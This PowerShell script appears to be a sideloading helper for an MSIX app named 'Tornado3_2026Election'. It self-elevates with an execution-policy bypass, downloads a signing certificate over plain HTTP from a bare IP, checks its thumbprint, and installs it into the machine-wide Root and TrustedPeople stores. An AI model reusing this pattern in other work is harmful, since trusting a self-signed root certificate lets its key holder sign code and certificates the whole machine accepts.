param(
    [string]$CertificatePath = (Join-Path $PSScriptRoot "Comtrophy_MSIX_Signing.cer"),
    [string]$CertificateUri = "http://122.34.248.185/msix/Comtrophy_MSIX_Signing.cer",
    [ValidateSet("LocalMachine", "CurrentUser")]
    [string]$StoreScope = "LocalMachine",
    [switch]$NoElevate,
    [switch]$NoPause
)

$ErrorActionPreference = "Stop"

$ExpectedThumbprint = "E691A33C64DF20A204FFD4F096B9C3EB4B95709C"
$downloadedCertificate = $false

function Test-IsAdministrator {
    $identity = [Security.Principal.WindowsIdentity]::GetCurrent()
    $principal = New-Object Security.Principal.WindowsPrincipal($identity)
    $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
}

function Quote-Argument {
    param([Parameter(Mandatory)][string]$Value)

    '"' + $Value.Replace('"', '\"') + '"'
}

if ($StoreScope -eq "LocalMachine" -and -not (Test-IsAdministrator)) {
    if ($NoElevate) {
        throw "LocalMachine certificate import requires an elevated PowerShell session."
    }

    if (-not $PSCommandPath) {
        throw "LocalMachine certificate import requires an elevated PowerShell session."
    }

    Write-Host "Restarting as administrator to trust the MSIX signing certificate for this PC..."
    $arguments = @(
        "-NoProfile",
        "-ExecutionPolicy", "Bypass",
        "-File", (Quote-Argument $PSCommandPath),
        "-CertificatePath", (Quote-Argument $CertificatePath),
        "-CertificateUri", (Quote-Argument $CertificateUri),
        "-StoreScope", $StoreScope,
        "-NoElevate"
    )
    if ($NoPause) {
        $arguments += "-NoPause"
    }

    $process = Start-Process -FilePath "powershell.exe" -ArgumentList $arguments -Verb RunAs -Wait -PassThru
    exit $process.ExitCode
}

if (-not (Test-Path -LiteralPath $CertificatePath)) {
    $certificateDirectory = Split-Path -Parent $CertificatePath
    if ($certificateDirectory -and -not (Test-Path -LiteralPath $certificateDirectory)) {
        New-Item -ItemType Directory -Path $certificateDirectory -Force | Out-Null
    }

    Write-Host "Downloading MSIX signing certificate..."
    Invoke-WebRequest -Uri $CertificateUri -OutFile $CertificatePath -UseBasicParsing
    $downloadedCertificate = $true
}

$certificate = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2($CertificatePath)
if ($certificate.Thumbprint -ne $ExpectedThumbprint) {
    throw "Unexpected certificate thumbprint. Expected $ExpectedThumbprint but got $($certificate.Thumbprint)."
}

$stores = @(
    "Cert:\$StoreScope\TrustedPeople",
    "Cert:\$StoreScope\Root"
)

foreach ($store in $stores) {
    $existing = Get-ChildItem -Path $store | Where-Object { $_.Thumbprint -eq $ExpectedThumbprint }
    if ($existing) {
        Write-Host "Certificate already trusted in $store"
        continue
    }

    Write-Host "Importing certificate into $store"
    Import-Certificate -FilePath $CertificatePath -CertStoreLocation $store | Out-Null
}

Write-Host "MSIX signing certificate is trusted in $StoreScope for thumbprint $ExpectedThumbprint."
Write-Host ""
Write-Host "Certificate setup is complete."
Write-Host "Install the app separately with this link:"
Write-Host "http://122.34.248.185/msix/Tornado3_2026Election_x64.appinstaller"

if ($downloadedCertificate) {
    Write-Host "Certificate saved to $CertificatePath"
}

if (-not $NoPause) {
    Write-Host ""
    Read-Host "Press Enter to close this window"
}
